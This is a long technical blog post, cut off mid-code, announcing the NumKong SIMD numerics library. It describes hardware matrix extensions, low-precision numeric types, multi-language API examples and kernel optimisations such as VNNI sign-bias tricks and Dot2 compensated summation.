[{"content":"\nI\u0026rsquo;m killing my SimSIMD project and re-launching under a new name — NumKong — StringZilla\u0026rsquo;s big brother. Around 2'000 SIMD kernels for mixed precision numerics, spread across 200'000 lines of code \u0026amp; docstrings, for 7 programming languages. One of the larger collections online — comparable to OpenBLAS, the default NumPy BLAS (Basic Linear Algebra Subprograms) backend (detailed comparison below).\nHighlights:\nRISC-V Vector Extensions, Intel AMX \u0026amp; Arm SME Tiles From Vectors to Matrices and Higher-rank Tensors From BFloat16 and Float16 to Float6 — E3M2 \u0026amp; E2M3 on any CPU Native Int4 \u0026amp; UInt4 Dot Products via Nibble Algebra Neumaier \u0026amp; Dot2 for higher-than-BLAS precision Ozaki Scheme for Float64 GEMMs via Float32 Tile Hardware Haversine \u0026amp; Vincenty for Geospatial — 5'300x faster than GeoPy Kabsch \u0026amp; Umeyama Mesh Alignment — 200x faster than BioPython Fused MaxSim for ColBERT — GPU-Free Late Interaction Scoring WebAssembly SIMD backend for AI Sandboxes, Edge, \u0026amp; Browsers C 99, C++ 23, Rust, Swift, JavaScript, GoLang, \u0026amp; Python 🐍 All of that tested against in-house 118-bit floating point numbers and heavily profiled for both numerical stability and speed. Here\u0026rsquo;s a preview of performance numbers for the most familiar part — GEMM (General Matrix Multiply)-like batched dot products:\nInput NumPy + OpenBLAS PyTorch + MKL NumKong Float64 65.5 gso/s, 1e-15 err 68.2 gso/s, 1e-15 err 8.6 gso/s, 1e-16 err Float32 140 gso/s, 9e-7 err 145 gso/s, 1e-6 err 37.7 gso/s, 4e-7 err BFloat16 — 851 gso/s, 1.8% err 458 gso/s, 3.6% err Float16 0.3 gso/s, 0.25% err 140 gso/s, 0.37% err 103 gso/s, 0.26% err Float8 — 0.4 gso/s, 4.6% err 398 gso/s, 0% err Int8 0.4 gso/s, overflow 50 gso/s, overflow 1'279 gso/s, 0% err Binary Size 30 MB 705 MB 5 MB Available For Python Python, C++ 7 languages Python Wheels 72 39 99 Those are single-threaded numbers for Intel Xeon4 CPUs powering mainstream Nvidia DGX-H100 servers — the workhorse of GenAI in 2025/6. NumKong makes different tradeoffs around speed vs accuracy, and a big part of the article is about the strategy of prioritizing one above the other.\nBackstory The scale wasn\u0026rsquo;t the hard part — correctness, portability, and UX were. I started this release 3 years ago, when I first got access to Intel Xeon4 (Sapphire Rapids) CPUs. I opened the #220 Pull Request in 2024\u0026hellip; and it\u0026rsquo;s already 2026. Around 900 commits in, CI finally passed for the first time; another 200 patches later, it was ready to merge 😅\nThe original goal was to accelerate Unum\u0026rsquo;s USearch vector search engine, but the library outgrew that scope — projects like Albumentations already use it for Image Processing. The new release is mostly around tiled tensor operations and GPU-era numeric types brought to CPUs, and needed a complete redesign.\nTiled Multiply-Accumulate on Every Chip RISC-V The least mature platform in this story is RISC-V — so let\u0026rsquo;s start at the bottom and work up.\nRISC-V is the open-source Instruction Set Architecture that has made waves online and holds great promise for democratizing chip design. Even in 2026, it\u0026rsquo;s still far from usable. The driving force behind its growing adoption in CPUs (as opposed to external accelerators) isn\u0026rsquo;t technical merit — it\u0026rsquo;s growing geopolitical tensions between the US, China, Europe, Russia, and the rest of the world. Politics aside, what\u0026rsquo;s the state right now? Where can we find RISC-V cores and which of those have SIMD (Single Instruction, Multiple Data) extensions like RVV (RISC-V Vector) to enable advanced parallel processing?\nVendor Availability Vectors Notes Meta Internal only (MTIA) Custom 100K+ chips, 16 data centers Alibaba Scaleway EU, Alibaba Cloud 0.7.1 C910/C920, €16/mo on Scaleway Tenstorrent Koyeb serverless SFPI NOT standard RVV SiFive Dev boards (X280) RVV 1.0 Purchase only QEMU Local emulation RVV 1.0 For development Meanwhile, NVIDIA ships 1B+ RISC-V cores per year embedded in GPUs for power management — not for compute, but a telling sign of the ISA\u0026rsquo;s reach.\nNo public cloud offers RVV 1.0 hardware yet — Scaleway\u0026rsquo;s EM-RV1 with T-Head C910 is the only commercial option, stuck on the draft 0.7.1 spec. The gap to 1.0 is painful: binary-incompatible encodings, no fractional LMUL, no tail/mask-agnostic policies, different vsetvl semantics. Worse, there\u0026rsquo;s no ratified matrix extension yet — unlike Intel AMX or Arm SME, you can\u0026rsquo;t do 2D tiled matmuls, and BFloat16 requires the \u0026ldquo;Zvfbfwma\u0026rdquo; extension that C910 doesn\u0026rsquo;t have. That said, the instruction set is already humongous — as many have pointed out, \u0026ldquo;Reduced\u0026rdquo; doesn\u0026rsquo;t really belong in \u0026ldquo;RISC-V\u0026rdquo;.\nRISC-V RVV vocabulary is quite simple compared to AVX-512, but when you look at the combinatorially exploding number of LMUL × datatype × policy combinations, it starts looking quite scary:\n• AVX-512 ≈ 5.2k intrinsics\n• Arm SVE/SVE2 ≈ 9.2k\n• RVV 1.0 ≈ 71.5k\n... excluding…\n\u0026mdash; Ash Vardanian (@ashvardanian) February 14, 2026 Despite all that, RVV does have unique strengths worth exploiting:\nvlseg/vsseg — segment loads that deinterleave AoS (complex numbers, RGB) directly into registers viota + vcompress — stream compaction in 3 instructions vs ~10 on AVX-512 vfwredusum — widening reduction without the horizontal shuffle dance What does work well: vfwmacc for f16 × f16 → f32 and vwmacc for i8 × i8 → i32 widening dot products. Even more interesting, vfwmacc_vv_f64m2 computes f64 += f32 × f32 in a single instruction with no intermediate rounding — the multiply happens at full Float64 width. Neither x86 nor SVE has an equivalent; on those ISAs you must widen both operands first, then FMA, eating two extra instructions and an intermediate rounding step.\nHere are some of the interesting things that worked on RISC-V better than on other ISAs:\nnk_reduce_moments horizontal accumulations over arbitrarily strided data, where we may be computing the L2 norm of a column in a row-major matrix layout — the RVV kernel may use a combination of __riscv_vlse32_v_f32m1 strided loads and __riscv_vfwmacc_vv_f64m2_tu widening FMA in the hot loop nk_reduce_minmax horizontal reductions tracking positions in arbitrary size arrays, where the compared objects and the offsets have clearly different widths — the RVV kernel may use vfloat32m1_t for incoming floats and a wider vuint64m2_t to track positions nk_rmsd, nk_kabsch, nk_umeyama kernels for computational geometry with applications in Biology and Chemistry leverage RVV\u0026rsquo;s segmented loads and widening/narrowing logic for tight iterative algorithms like SVD — details in the mesh alignment section Thanks to QEMU, I was able to validate all kernels for correctness, but it\u0026rsquo;s impossible to make throughput claims without hardware. So let\u0026rsquo;s switch to more practical cases.\nIntel: From AMX on Servers to VNNI on Laptops Intel was the first to bring GPU-style tensor cores to mainstream CPUs. Advanced Matrix Extensions (or AMX) provide massive 8x 1 KB tile registers (TMMs) and a dedicated TMUL unit for tiled matmuls. Conceptually similar to scheduling NVIDIA\u0026rsquo;s tensor cores, but much easier to program. Xeon4 supports bf16 × bf16 → f32 and i8 × i8 → i32. Granite Rapids adds f16 × f16 → f32. Some Xeon variants even ship with HBM, further blurring the CPU/GPU line.\n1 _tile_dpbf16ps(0, 1, 2); // TMM0 += TMM1 × TMM2 (BFloat16 → Float32) Important to note, the first and the second multiplication arguments are ordered differently. More on this in the GEMMs section.\nFor NumKong users, the biggest value of those instructions will come from using:\ndots_packed_i8, dots_packed_bf16 for BLAS-like GEMMs dots_symmetric_i8, dots_symmetric_bf16 for BLAS-like SYRKs angulars_packed_bf16, euclideans_symmetric_i8, angulars_symmetric_e2m3, and other batched distance calculations and obscure numeric types with overlapping AMX and AVX-512 maxsim_packed_f32, maxsim_packed_bf16 for scoring late-interaction ColBERT-style document embeddings For now, those tiled dot-product instructions are limited to server hardware on the x86 side, but not for long. Intel and AMD are standardizing new ISA extensions that may end up on the consumer chips as well. Until then, NumKong now has separate backend families for Alder Lake and Sierra Forest CPUs.\nAlder Lake and its newer AVX VNNI variants are broadly available on laptops, resulting in up to 2x throughput improvements for heavily quantized USearch indexes compared to the pure AVX2 Haswell baselines. Sierra Forest brings AVX VNNI variants with symmetric Int8 or UInt8 input pairs, available on servers with up to 144 physical cores and up to 288 cores in a dual-socket configuration. Apple\u0026rsquo;s SME — The Best ISA for Mixed-Precision Numerics Ash: What\u0026rsquo;s the most efficient hardware for quantum simulations? Anyone: Some major server CPU tuned for a supercomputer, right? Ash: The last iPad :)\nApple has some of the most confusing hardware on the market. Every M4 chip ships at least three different units that can all do matrix multiplication: the CPU cores (now with Arm SME2, replacing proprietary AMX), a 38 TOPS Neural Engine (or ANE, usable only through CoreML), and the GPU via Metal compute shaders. Multiple options, each with a different programming model, different precision support, and no clear guidance from Apple on when to use which.\nStill, the CPU part alone is worth attention. Apple is the first hardware vendor to ship Scalable Matrix Extensions (or SME) to the market — starting with M4. SME combines a \u0026ldquo;Streaming SVE\u0026rdquo; subset with outer-product matrix ops, accumulating into persistent ZA registers. It supports more numeric types than Intel\u0026rsquo;s AMX and is much more composable if you are implementing something more than a vanilla dense matrix-multiplication.\n1 svfmopa_za32_f16_m(0, predicate, predicate, tile_a, tile_b); // za += outer_product(tile_a, tile_b) This may look similar to Intel AMX, but it\u0026rsquo;s not. More on this in the GEMMs section.\nThe next versions of SME are supposed to bring LUTI2/LUTI4 lookup tables and full SVE compatibility. I expect it to be a game changer for sparse numerics and advanced algorithms — if only there were a 100+ core server variant. One thing to note: using SME requires careful CPU state switching to and from streaming mode, which isn\u0026rsquo;t free. You can\u0026rsquo;t mix Streaming SVE code with NEON and your typical LibC code. Still, this is remarkably programmable tiled hardware, which will translate into gains for all the same kernel families as Intel AMX above, but also:\nnk_maxsim_packed on SME is elegant — on the fly GEMM-like outer-products over column-major packed matrices, then updates a running argmax with SVE compares/selects, and only does a final horizontal reduction at the end nk_dots_packed_u1_smebi32, nk_hammings_packed_u1_smebi32, nk_jaccards_packed_u1_smebi32 loads unpacked A rows horizontally into ZA0, reads them back vertically, and feeds those columns into svbmopa_za32_u32_m achieving 4'027 gso/s (or 4+ TOPS as most of the industry spells it) on a single core for 4096³ dense input matrix — almost 10x the tiled GEMM-like NEON kernel for the same task. nk_bilinear_f32c_smef64 kernel for double-precision bilinear forms for single-precision complex numbers — it stages real and imaginary parts separately, then uses FMOPA plus FMOPS for the subtracting complex term. I\u0026rsquo;ve spent a few thousand $ setting up all the AWS instances to validate/test this logic, and only realized that I forgot to get the numbers for this kernel after I\u0026rsquo;ve returned the dedicated hosts. Let\u0026rsquo;s hope it works as well as it looks. This composability makes Arm SME + SVE the most convenient platform for advanced AI architectures, opening the door to fusing entire Transformer attention blocks — GEMM + SoftMax + GEMM — on Apple M4 and M5 without leaving streaming mode.\nHow Hardware Converges Every major vendor is arriving at the same answer — tiled mixed-precision multiply-accumulate — just with different register files, predicate models, and memory hierarchies:\nFeature Intel AMX Arm SME RVV 1.0 NVIDIA TC Matrix tiles 8x 1KB ZA SVL² Proposed generation-specific bf16 × bf16 → f32 ✅ ✅ Ext ✅ f16 × f16 → f32 Soon ✅ ✅ ✅ i8 × i8 → i32 ✅ ✅ ✅ ✅ HBM option ✅ ❌ ❌ ✅ Consumer silicon ❌ ✅ ❌ ✅ Predicate model Tile config SVE-style Mask v0 generation-specific CPUs and GPUs look more alike every generation. But unlike the somewhat specialized Graphics Processing Unit, the Central Processing Unit can\u0026rsquo;t always provide the same level of throughput as a task-specific accelerator. In a modern data-center its role is shifting towards connecting sub-systems and guaranteeing correctness. That was one of the guiding principles behind NumKong — precision of the numerics has to be sufficient first, and only then do we chase MKL, OpenBLAS, and cuBLAS throughput. When multiplying a 1'000 by 1'000 matrix, it\u0026rsquo;s not that big of a deal, but when you are scaling attention beyond 10 Million tokens, or vector search beyond 10 Billion vectors on each machine, numerical stability becomes a big deal.\nWebAssembly \u0026amp; Relaxed SIMD There is one more \u0026ldquo;platform\u0026rdquo; that doesn\u0026rsquo;t fit neatly into the hardware table above — the browser. WebAssembly\u0026rsquo;s Relaxed SIMD proposal, now part of the Wasm 3.0 standard, trades strict determinism for hardware-native fast paths. Chrome 114+ and Firefox 145+ ship it by default; Safari still has it behind a flag. WASM SIMD is fixed at 128-bit, but the JIT lowers each instruction to the best native path available:\nRelaxed SIMD x86 lowering options Arm lowering options relaxed_madd vfmadd (FMA3), mulps + addps (SSE) fmla (NEON) relaxed_dot_i8x16_i7x16 vpdpbusd (AVX-512 VNNI, AVX-VNNI), pmaddubsw + pmaddwd + paddd (SSE) sdot (Armv8.2+), smull + saddlp (Armv8.0) relaxed_swizzle vpshufb (AVX), pshufb (SSSE3) tbl (NEON) relaxed_laneselect vpblendvb (AVX2), pblendvb (SSE4.1) bsl (NEON) relaxed_min/max vminps (AVX), minps (SSE) fmin \u0026amp; fmax (NEON) NumKong compiles to WASM via Emscripten and Cranelift, covering every kernel with the _v128relaxed suffix — dot products, batched GEMMs, geospatial, mesh alignment, and more. In the browser, no install needed — just a \u0026lt;script\u0026gt; tag:\n1 2 3 4 5 6 7 8 \u0026lt;script type=\u0026#34;module\u0026#34;\u0026gt; import { dot, euclidean } from \u0026#39;https://cdn.jsdelivr.net/npm/numkong@7/dist/numkong.js\u0026#39;; const query = new Float32Array([1.0, 2.0, 3.0]); const doc = new Float32Array([4.0, 5.0, 6.0]); console.log(dot(query, doc)); // 32 — SIMD-accelerated, client-side console.log(euclidean(query, doc)); // 5.196... \u0026lt;/script\u0026gt; The entire WASM bundle is under 500 KB — smaller than most JavaScript frameworks.\nPossible improvement directions for backends: Loongson LAPX (#317), IBM Power VSX \u0026amp; MMA (#318), and Arm FP8 on NVIDIA\u0026rsquo;s Vera/Olympus cores (#319). Intel\u0026rsquo;s Nova Lake may also bring native FP16 dot products to the consumer desktop.\nPrecision Spectrum: From Float118 to Float4 IEEE 754 was defined in 1985 and for many years the \u0026ldquo;single-precision\u0026rdquo; and \u0026ldquo;double-precision\u0026rdquo; numerics it standardized were enough. Four decades later, every time Jensen Huang appears on stage with a new FLOPS number, you must ask yourself — which exact numeric type is he referring to? Transistor cost and density is still improving, but not nearly as much as perceived. So we as an industry shift towards smaller numeric types. For brevity, in this article, we\u0026rsquo;ll only look at numerics for these input types:\nType Bits Exponent Mantissa Min-Max Range Float118 128 11 ~106 same as f64, ~32 digits Float64 64 11 52 ±2.2e-308 to ±1.8e308 Float32 32 8 23 ±1.2e-38 to ±3.4e38 Float16 16 5 10 ±6.1e-5 to ±65504 BFloat16 16 8 7 ±1.2e-38 to ±3.4e38 Float8, E5M2 8 5 2 ±6.1e-5 to ±57344 Float8, E4M3 8 4 3 ±0.016 to ±448 Float6, E3M2 6 3 2 ±0.0625 to ±28 Float6, E2M3 6 2 3 ±0.015625 to ±7.5 Float4, E2M1 4 2 1 ±0.5 to ±6 Int8 8 — — -128 to 127 UInt8 8 — — 0 to 255 Int4 4 — — -8 to 7 UInt4 4 — — 0 to 15 Float118 is not an IEEE type — it is a \u0026ldquo;double-double\u0026rdquo; representation that pairs two Float64 values using Knuth two-sum and FMA for error-free transformations, yielding ~106 bits of effective mantissa (~32 decimal digits). The range matches Float64, since both components share the same exponent field, but precision is roughly double. NumKong uses it internally as a ground-truth reference for validating all other kernels. How does it compare to other extended-precision options?\nType Speed Mantissa Notes double 1x 53-bit Native hardware IEEE 754 long double 1.5x 64-bit x87 80-bit extended, not portable NumKong\u0026rsquo;s f118_t 11x ~106-bit FMA-based \u0026ldquo;double-double\u0026rdquo; __float128 88x 113-bit GCC libquadmath, not available on all OSes boost::float128 91x 113-bit Thin wrapper around __float128 boost::cpp_bin_float_quad 200x 113-bit Pure C++ emulation, portable but slowest boost::cpp_bin_float_50 237x ~166-bit 50 decimal digits, for when 32 aren\u0026rsquo;t enough Float6 types follow the OCP MX v1.0 specification — each value occupies 6 bits stored in an 8-bit byte, with the upper 2 bits unused. E3M2 has no NaN and supports infinities at ±28; E2M3 has neither NaN nor infinities, with ±7.5 as the maximum representable value. Int4 and UInt4 are packed as nibble pairs — two 4-bit values per byte, with the low element in bits 0–3 and the high element in bits 4–7.\nHow many of the mainstream machine learning numerics projects support these types? To my surprise, with some tweaking — quite many, thanks to Google\u0026rsquo;s ml_dtypes package that almost nobody knows about. So if you want to deal with bfloat16 values in NumPy matrices, you can use those extensions:\n1 2 3 4 5 from ml_dtypes import bfloat16 import numpy as np arr = np.array([1.0, 2.0, 3.0], dtype=bfloat16) result = arr @ arr # Dot product, but painfully slow! Under the hood this implements NEP 42 to serially convert numbers to a framework-friendly old-school float32. Let\u0026rsquo;s rephrase the question: in which of those numeric types can you perform a hardware-accelerated matrix multiplication — AI\u0026rsquo;s most important operation — on CPUs or GPUs?\nType NumPy PyTorch NumKong Float16 ❌ ✅ GPU, CPU via oneDNN ✅ x86, Arm, RISC-V BFloat16 ❌ ✅ GPU, CPU via oneDNN ✅ x86, Arm, RISC-V Float8 E5M2 ❌ ⚡ H100+ via torch._scaled_mm ✅ x86, Arm, RISC-V Float8 E4M3 ❌ ⚡ H100+ via torch._scaled_mm ✅ x86, Arm, RISC-V Int8 ❌ ⚡ via torch._int_mm ✅ x86, Arm, RISC-V UInt8 ❌ ⚡ via torch._int_mm ✅ x86, Arm, RISC-V Int4 ❌ ❌ ✅ x86, Arm, RISC-V UInt4 ❌ ❌ ✅ x86, Arm, RISC-V Float4 E2M1 ❌ ⚡ B200+ via torch._scaled_mm ❌ ✅ = standard API, ⚡ = hardware-accelerated via specialized API, ❌ = not supported or serial fallback\nA lot of red on this table. At best, support is hardware-specific, dependent on access to $10K+ expensive data-center GPUs \u0026amp; TPUs, and contingent on downloading a gigabyte-sized framework. And that\u0026rsquo;s in Python, by far the most mature ecosystem for machine learning. Things are much worse if you are developing in C/C++, Rust, Swift, or other programming languages\u0026hellip;\nTensors in Python Remember ml_dtypes above? NumPy can represent BFloat16 with that plugin, but arr @ arr falls back to serial f32 casts. NumKong accepts those same buffers — zero copy — but routes through SIMD kernels. PyTorch tensors also work directly via the buffer protocol: nk.dot(torch_a, torch_b) just works, no conversion. Slice a column from a row-major matrix, and argmin or moments still fire SIMD — 2.45x faster than np.argmin on strided columns, covered in the reductions section. All batched kernels release the GIL, and the METH_FASTCALL calling convention avoids PyArg_ParseTupleAndKeywords overhead entirely.\n1 2 3 4 5 6 7 8 9 10 11 import torch, numkong as nk embeddings = torch.randn(10_000, 768, dtype=torch.bfloat16) nk.dot(embeddings[0], embeddings[1]) # buffer protocol, zero copy from PyTorch packed = nk.dots_pack(embeddings, dtype=nk.bfloat16) # pack once, reuse across query batches scores = nk.dots_packed(embeddings[:128], packed) # 128×10K batched GEMM matrix = nk.Tensor(embeddings.float().numpy()) # float32 for NumPy interop column = matrix[:, 0] # strided view — no copy column.argmin() # SIMD reduction on strided data CUDA unified memory opens up a neat debugging trick. Wrap a live GPU tensor via nk.from_pointer, and you can scan layers of a running network without copying anything back to host explicitly. Hunting for the layer that started diverging after a quantization pass becomes a one-liner.\n1 2 3 4 5 6 model = load_my_model().cuda() for name, param in model.named_parameters(): view = nk.from_pointer(param.data_ptr(), tuple(param.shape), nk.bfloat16, owner=param) norms = view.norm(axis=0) # column-wise L2 norms, SIMD-accelerated if norms.max() \u0026gt; 1e3: # outlier detector for post-quantization debugging print(f\u0026#34;{name}: norm outlier at {norms.argmax()} = {norms.max():.1f}\u0026#34;) Tensors in C BLAS was standardized in 1979, originally implemented in Fortran, and every scientific computing package on earth links against it. OpenBLAS — the default NumPy backend — maintains 2'456 kernel files across 1.97M lines of code, 51% of it hand-written assembly, running on 15 CPU architectures from x86 to SPARC to s390x. GEMM + copy + TRSM account for 58% of all those kernels — for dense Float32 and Float64 matrix multiplication, nothing comes close. The intro table shows this: OpenBLAS hits 65.5 gso/s on Float64 GEMMs where NumKong reaches 8.6 gso/s, trading throughput for sub-ULP precision.\nThe type landscape, however, hasn\u0026rsquo;t kept up. Complex-double alone is 31% of all OpenBLAS files, while Float16 gets two (conversion stubs, no compute) and Float8 gets zero. sdsdot (f32 × f32 → f64 → f32) remains the only mixed-precision operation from the original standard. A Dongarra-led \u0026ldquo;BLAS G2\u0026rdquo; proposal in 2016–2019 tried to standardize half/int/quad precision, but no formal standard was ratified — each vendor bolted on their own extensions instead:\nBLAS Standard OpenBLAS Intel MKL cuBLAS NumKong Hardware Any CPU via Fortran 15 CPU archs, 51% assembly x86 only, SSE through AMX NVIDIA GPUs only 20 backends: x86, Arm, RISC-V, WASM Types f32, f64, complex + 55 bf16 GEMM files + bf16 \u0026amp; f16 GEMM + f16, i8, mini-floats on Hopper+ 16 types, f64 down to u1 Precision dsdot is the only widening op dsdot is the only widening op dsdot, bf16 \u0026amp; f16 → f32 GEMM Configurable accumulation type Auto-widening, Neumaier, Dot2 Operations Vector, mat-vec, GEMM 58% is GEMM \u0026amp; TRSM + Batched bf16 \u0026amp; f16 GEMM GEMM + fused epilogues Vector, GEMM, \u0026amp; specialized Memory Caller-owned, repacks inside Hidden mmap, repacks inside Hidden allocations, + packed variants Device memory, repacks or LtMatmul No implicit allocations Tensors in C++23 Consider a common LLM inference task: you have Float32 attention weights and need to L2-normalize each row, quantize to E5M2 for cheaper storage, then score queries against the quantized index via batched dot products. In CBLAS, there is no norm-then-quantize primitive — you\u0026rsquo;d loop over columns with cblas_snrm2, manually divide each row, cast element-by-element, and hand-roll the batched GEMM. Eigen can do m.colwise().norm() but stops at float and double — no E5M2, no sub-byte types, no runtime SIMD dispatch.\nNumKong\u0026rsquo;s C++ header wraps the C ABI in a zero-cost tensor template that handles the full pipeline:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 namespace nk = ashvardanian::numkong; // Float32 attention weights — 1000 vectors × 768 dimensions auto weights = nk::tensor\u0026lt;nk::f32_t\u0026gt;::try_full({1000, 768}, nk::f32_t{1}); // Row-wise L2 norms via moments, then normalize each row in-place auto [sums, sumsqs] = nk::try_moments(weights.view(), /*axis=*/1); for (std::size_t i = 0; i \u0026lt; weights.extent(0); ++i) { // or via .rows_spans() iterator float inv_norm = 1.0f / std::sqrt\u0026lt;float\u0026gt;(sumsqs[i]), zero = 0.0f; auto row = weights.row(i).as_vector(); nk::scale(row.data(), row.size(), \u0026amp;inv_norm, \u0026amp;zero, row.data()); } // Quantize f32 → e5m2, pack, and score queries via batched GEMM auto quantized = nk::tensor\u0026lt;nk::e5m2_t\u0026gt;::try_zeros({1000, 768}); nk::cast(weights.view().data(), 1000 * 768, quantized.span().data()); auto packed = nk::packed_matrix\u0026lt;nk::e5m2_t\u0026gt;::try_pack(quantized.view().as_matrix()); auto queries = nk::tensor\u0026lt;nk::e5m2_t\u0026gt;::try_zeros({128, 768}); auto scores = nk::tensor\u0026lt;nk::f32_t\u0026gt;::try_zeros({128, 1000}); nk::dots_packed(queries.view(), packed, scores.span()); Slicing uses C++23 variadic operator[] with marker types:\nt[i, j] returns f32_t\u0026amp;, while t[i, j, nk::slice] returns a rank-zero tensor_view, and t[nk::all, j, nk::slice] returns a strided tensor_view. The return type changes at compile time, no runtime costs unlike Python. Sub-byte types keep the same syntax: tensor\u0026lt;i4x2_t\u0026gt;[idx] returns sub_byte_ref\u0026lt;i4x2_t\u0026gt; — a proxy that reads and writes a nibble. All scalar types — f16_t, bf16_t, e4m3_t, i4x2_t and friends — have std::formatter specializations, so std::format(\u0026quot;{:#}\u0026quot;, val) prints 3.14 [0x4248] and std::format(\u0026quot;{:b}\u0026quot;, val) prints the raw bits. Eigen has none of that: no sub-byte types, no Float8/Float6, no signed strides, no runtime SIMD dispatch, no widening accumulators. It expects the compiler to auto-vectorize, which almost never happens for exotic types, and in most cases just bloats the binary. std::mdspan gives you layout + accessor but no operations and no sub-byte support; NumKong views interop via raw pointer handoff.\nTensors in Rust The same pipeline in Rust is more concise — try_norm_axis and try_cast_dtype are first-class methods on Tensor:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 use numkong::{configure_thread, Tensor, PackedMatrix, MomentsOps, ScaleOps, CastOps}; use numkong::types::e5m2; configure_thread(); let mut weights = Tensor::\u0026lt;f32\u0026gt;::try_full(\u0026amp;[1000, 768], 1.0).unwrap(); // Normalize → quantize → pack → score let norms = weights.try_norm_axis(1, false).unwrap(); for (i, mut row) in weights.axis_spans(0).unwrap().enumerate() { row.try_scale_tensor_into(1.0 / norms[i] as f32, 0.0, \u0026amp;mut row).unwrap(); } let quantized = weights.try_cast_dtype::\u0026lt;e5m2\u0026gt;().unwrap(); let packed = PackedMatrix::try_pack(\u0026amp;quantized).unwrap(); // 128 queries against the packed index — batched GEMM, SIMD-accelerated let queries = Tensor::\u0026lt;e5m2\u0026gt;::try_full(\u0026amp;[128, 768], e5m2::from(0.5)).unwrap(); let scores = queries.dots_packed(\u0026amp;packed); For comparison, ndarray — Rust\u0026rsquo;s most popular tensor library — supports only f32 and f64, has no SIMD dispatch, no sub-byte types, and no packed GEMM. NumKong mirrors the C++ container hierarchy — Tensor\u0026lt;T, A\u0026gt; owns, TensorView and TensorSpan borrow — but all operations are trait-based and monomorphized with zero dispatch overhead. Sub-byte types like i4x2 and u1x8 use DimRef/DimMut proxy accessors with read-modify-write on Drop, and allclose gives tolerance-based comparison via the AllCloseOps trait — surprisingly absent from both nalgebra and ndarray.\nPossible improvement directions for SDKs: Zig bindings, a cheaper FFI interface for Go (#28), and better compatibility with NumPy.\nKernel Design Patterns Repeating all the documentation here felt silly, but so would burying it in READMEs and forgetting about it until the next iteration. So here are the most important optimizations missing from previous library versions.\nInt8 and UInt8 Symmetric Dot-Products via VNNI Scope: nk_dot_(i8|u8)_(ice|sierra).\nIntel\u0026rsquo;s DPBUSD instruction computes a dot product of 8-bit integers — but it expects one unsigned and one signed operand. If both your inputs are signed, or both unsigned, you have a problem. The naive fix is to upcast everything to 16-bit via cvtepi8_epi16 and use VPDPWSSD — but widening runs on port 5, and you need two widenings per iteration, so port 5 becomes the bottleneck while port 0 sits half-idle.\nThe better fix is \u0026ldquo;algebraic\u0026rdquo;. XOR-ing a signed byte with 0x80 flips the sign bit, mapping [-128, 127] to [0, 255] — which is just adding 128. So DPBUSD(a ⊕ 0x80, b) computes (a+128)·b instead of a·b, and the correction is trivial: subtract 128 × Σb at the end. The unsigned case is symmetric: bias b instead and compensate with 128 × Σa. WASM\u0026rsquo;s relaxed_dot_i8x16_i7x16_add faces the same mismatch — it constrains one operand to 7 bits [0, 127] so both x86\u0026rsquo;s unsigned × signed vpdpbusd and Arm\u0026rsquo;s signed × signed sdot produce identical results, and NumKong\u0026rsquo;s WASM backend uses a similar decomposition to handle full-range signed inputs.\nThe trick is how we accumulate those correction sums. SAD — sum of absolute differences against zero — gives us Σb cheaply, and it fires on port 5 while DPBUSD occupies port 0. The two instructions run in parallel every cycle, making the compensation essentially free.\n1 2 3 4 5 6 7 8 9 10 // Signed i8 × i8: bias a to unsigned, accumulate sum(b) for correction __m512i a_biased = _mm512_xor_si512(a_i8x64, _mm512_set1_epi8(0x80)); sum_ab = _mm512_dpbusd_epi32(sum_ab, a_biased, b_i8x64); // (a+128)·b @ port 0 __m512i b_unsigned = _mm512_xor_si512(b_i8x64, _mm512_set1_epi8(0x80)); sum_b = _mm512_add_epi64(sum_b, _mm512_sad_epu8(b_unsigned, zeros)); // Σb via SAD @ port 5 // Unsigned u8 × u8: bias b to signed, accumulate sum(a) for correction __m512i b_signed = _mm512_xor_si512(b_u8x64, _mm512_set1_epi8(0x80)); sum_ab = _mm512_dpbusd_epi32(sum_ab, a_u8x64, b_signed); // a·(b-128) @ port 0 sum_a = _mm512_add_epi64(sum_a, _mm512_sad_epu8(a_u8x64, zeros)); // Σa via SAD @ port 5 After the loop, the epilogue is a single shift-and-subtract — 128 × Σb is just Σb \u0026lt;\u0026lt; 7:\n1 2 __m128i correction_i32x4 = _mm_slli_epi32(b_sums.xmm, 7); // × 128 results-\u0026gt;xmm = _mm_sub_epi32(biased_i32x4, correction_i32x4); // exact result, no rounding The new path processes 64 elements per iteration instead of 32. Here is the full picture:\ni8 × i8 u8 × u8 Naive approach Instructions cvtepi8_epi16 both → VPDPWSSD cvtepi8_epi16 both → VPDPWSSD Step width 32 elements/iter 32 elements/iter Port usage 2× p5 widening, 1× p0 dot — p5 bottleneck 2× p5 widening, 1× p0 dot — p5 bottleneck Efficient approach Instructions XOR a ⊕ 0x80 → DPBUSD, SAD for Σb XOR b ⊕ 0x80 → DPBUSD, SAD for Σa Port usage 1× p0 dot, 1× p5 SAD — parallel, free 1× p0 dot, 1× p5 SAD — parallel, free Step width 64 elements/iter - 2x throughput 64 elements/iter - 2x throughput Correction result − 128 × Σb result + 128 × Σa Sierra Forest made this entire dance obsolete. Intel\u0026rsquo;s AVX-VNNI-INT8 extension adds VPDPBSSD for native signed × signed and VPDPBUUD for unsigned × unsigned — no algebraic transform, no compensation terms, just the dot product you wanted. The Ice Lake workaround remains relevant for the millions of Xeon4 and earlier servers already deployed.\nThe same algebraic trick extends to 4-bit integers. Each byte packs two signed Int4 values as nibbles in [-8, 7]. XOR-ing with 0x08 maps them to unsigned [0, 15], and the signed product expands as:\n$$ (a \\oplus 8 - 8)(b \\oplus 8 - 8) = (a \\oplus 8)(b \\oplus 8) - 8(a \\oplus 8 + b \\oplus 8) + 64 $$\nExtract low and high nibbles with AND + shift, XOR both to unsigned, then fire two DPBUSD calls per iteration — one for each nibble position. The correction sums are accumulated the same way, and the final result is signed_dot = unsigned_dot - 8 × (Σa' + Σb') + 64 × n.\nCompensated Summation: Dot2 in SIMD Scope: nk_dot_f64_(sve|neon|rvv).\nOpenBLAS and MKL accumulate Float64 dot products with naive summation — rounding errors grow as O(√n), reaching 56 mean ULP (Units in the Last Place) at 4096³ matrix size. NumKong\u0026rsquo;s Dot2 implementation hits 0 ULP at the same size. The algorithm, from Ogita, Rump, and Oishi, tracks every rounding error alongside the main sum, achieving O(1) error growth regardless of vector length.\nIt relies on two error-free transforms. TwoProd: FMA computes a×b at full internal precision, so fma(a, b, -product) recovers the exact rounding residual of the multiplication. TwoSum: a similar five-operation dance recovers the exact rounding residual of an addition. Both residuals get accumulated into a separate compensation register that rides alongside the main sum.\n1 2 3 4 5 6 7 8 9 void nk_f64_dot2_(nk_f64_t 